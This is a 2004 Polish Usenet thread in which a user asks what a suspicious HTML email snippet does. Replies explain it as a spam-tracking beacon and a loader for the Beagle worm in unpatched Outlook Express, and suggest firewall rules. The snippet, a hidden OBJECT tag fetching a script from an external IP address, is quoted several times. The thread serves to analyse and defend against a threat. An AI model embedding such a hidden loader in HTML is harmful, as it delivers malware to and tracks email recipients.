Thread View: pl.news.mordplik
7 messages
7 total messages
Started by m4r3k
Thu, 01 Apr 2004 20:25
Cwaniacki kod.
Author: m4r3k
Date: Thu, 01 Apr 2004 20:25
Date: Thu, 01 Apr 2004 20:25
12 lines
1177 bytes
1177 bytes
Szanowna grupo. Co robi ten kod ? Jak i czy jest niebezpieczny ? <html><body> <font face="System"> <OBJECT STYLE="display:none" DATA="http://4.5.128.188:81/430181.php"> </OBJECT></body></html> Marek.
Re: Cwaniacki kod.
Author: BLE_Maciek
Date: Thu, 01 Apr 2004 20:59
Date: Thu, 01 Apr 2004 20:59
30 lines
2153 bytes
2153 bytes
Thu, 1 Apr 2004 22:25:55 +0200 jednostka biologiczna o nazwie "m4r3k" <m4r3k@domena.pl> wyslala do portu 119 jednego z serwerow news nastepujace dane: ><html><body> ><font face="System"> ><OBJECT STYLE="display:none" DATA="http://4.5.128.188:81/430181.php"> ></OBJECT></body></html> Jezeli znajduje sie w mailu (bo inaczej byloby NTG :-) ), to w momencie kiedy wyswietlisz maila z takim shitem w programie mailowym obslugujacym HTML, to zostanie wyslane zadanie pobrania tego skryptu php (no precyzyjniej uruchomienia skryptu i pobrania rezultatu, ale to z punktu widzenia przegladarki bez znaczenia :-) ). Niewykluczone ze numer (430181) jest unikalny i spamer ktory wysyla takiego maila rejestruje żądania wysylane do serwera i zgloszenie takiego żądania (pliku 430181.php) powoduje zarejestrowanie adresu email jako aktywnego. W skrypcie PHP moze byc np. kod ktory automatycznie zapisuje do bazy danych (np. w MySQLu). Zarejestrowanie adresu na pewno spowoduje wzrost ilosci spamu przychodzacego na ten adres. Zablokuj sobie na firewallu polaczenia dla Twojego klienta email z serwerami innymi niz te z ktorych korzystasz do wysylania odbierania poczty i tylko na portach odpowiednio 25 i 110 (SMTP i POP3). Uruchamiany skrypt moze tez zawierac jakis szkodliwy kod. Aaalez sie rozpisalem .... :-)
Re: Cwaniacki kod.
Author: BLE_Maciek
Date: Thu, 01 Apr 2004 21:01
Date: Thu, 01 Apr 2004 21:01
9 lines
1260 bytes
1260 bytes
Thu, 01 Apr 2004 22:59:55 +0200 jednostka biologiczna o nazwie BLE_Maciek <i80c586@cyberspace_NO_SPAM_.org> wyslala do portu 119 jednego z serwerow news nastepujace dane: >Zablokuj sobie na firewallu polaczenia dla Twojego klienta email z >serwerami innymi niz te z ktorych korzystasz do wysylania odbierania >poczty i tylko na portach odpowiednio 25 i 110 (SMTP i POP3). Zeby nie byc zle zrozumianym: na wszystkich portach oprocz 25 i 110 :-)
Re: Cwaniacki kod.
Author: Andrzej P. Wozniak
Date: Thu, 01 Apr 2004 22:12
Date: Thu, 01 Apr 2004 22:12
21 lines
1577 bytes
1577 bytes
Osoba podpisana jako m4r3k <m4r3k@domena.pl> w artykule <news:c4hu3q$muc$1@atlantis.news.tpi.pl> pisze: > Szanowna grupo. > > Co robi ten kod ? > > Jak i czy jest niebezpieczny ? > > <html><body> > <font face="System"> > <OBJECT STYLE="display:none" DATA="http://4.5.128.188:81/430181.php"> > </OBJECT></body></html> > > Marek. To jest kod ściągający i uruchamiający w niezaktualizowanym OE szkodnika... Gdybyś więcej czytał, to byś to wiedział. Wiedziałbyś też, że ta grupa jest już zamknięta - wszyscy przenieśli cię na pl.internet.mordplik -- Andrzej P. Woźniak uszer@pochta.onet.pl (zamień z<->h w adresie)
Re: Cwaniacki kod.
Author: Przemyslaw Popielarski
Date: Thu, 01 Apr 2004 22:29
Date: Thu, 01 Apr 2004 22:29
16 lines
1220 bytes
1220 bytes
BLE_Maciek wrote: > jednego z serwerow news nastepujace dane: > >> <html><body> >> <font face="System"> >> <OBJECT STYLE="display:none" DATA="http://4.5.128.188:81/430181.php"> >> </OBJECT></body></html> [...] > Uruchamiany skrypt moze tez zawierac jakis szkodliwy kod. "Moze"? Przeciez to Beagle jest. -- ./ premax ./ premax@hot,pl ./ koniec i bomba, a kto czytal ten traba. w.g.
Re: Cwaniacki kod.
Author: Andrzej P. Wozniak
Date: Thu, 01 Apr 2004 22:43
Date: Thu, 01 Apr 2004 22:43
22 lines
1573 bytes
1573 bytes
Osoba podpisana jako m4r3k <m4r3k@domena.pl> w artykule <news:c4hu3q$muc$1@atlantis.news.tpi.pl> pisze: > Szanowna grupo. > > Co robi ten kod ? > > Jak i czy jest niebezpieczny ? > > <html><body> > <font face="System"> > <OBJECT STYLE="display:none" DATA="http://4.5.128.188:81/430181.php"> > </OBJECT></body></html> > > Marek. To jest kod ściągający i uruchamiający w niezaktualizowanym OE szkodnika... Gdybyś więcej czytał, to byś to wiedział. Wiedziałbyś też, że ta grupa jest już zamknięta - wszyscy przenieśli cię na pl.internet.mordplik -- Andrzej P. Woźniak uszer@pochta.onet.pl (zamień z<->h w adresie)
Re: Cwaniacki kod.
Author: BLE_Maciek
Date: Fri, 02 Apr 2004 08:00
Date: Fri, 02 Apr 2004 08:00
27 lines
2080 bytes
2080 bytes
Fri, 2 Apr 2004 00:29:19 +0200 jednostka biologiczna o nazwie "Przemyslaw Popielarski" <premax@hot.pl> wyslala do portu 119 jednego z serwerow news nastepujace dane: >> Uruchamiany skrypt moze tez zawierac jakis szkodliwy kod. >"Moze"? Przeciez to Beagle jest. Mozliwe, nie znam tego wirusa wiec wzialem to rozpatrzylem ogolnie. A poza tym to ja sie takiego kodu nie boje bo na moje konto w pracy spam nie przychodzi (a to dlatego ze praktycznie nigdzie nie podaje adresu, a jezeli juz to solidnie zamaskowany), poza tym uzywam do tego konta Eudory, nie OE, a na cyberspace.org uzywam Pine pod systemem SunOS (zdalnie, przez SSH) i jakos sztuczki na dziury w OE niespecjalnie tam dzialaja ;-)) Poza tym Pine nie za bardzo kwapi sie wyswietlac HTML :-))) No dobra chyba EOG - End Of Group ;-) ______________________________________________________________ ______________________________________________________________ -----------=== T H E E N D ===---------- Tutaj konczy sie pl.news.mordplik ;-) --------------------------------------------------------------- *************************************************************** ---------------------------------------------------------------
Thread Navigation
This is a paginated view of messages in the thread with full content displayed inline.
Messages are displayed in chronological order, with the original post highlighted in green.
Use pagination controls to navigate through all messages in large threads.
Back to All Threads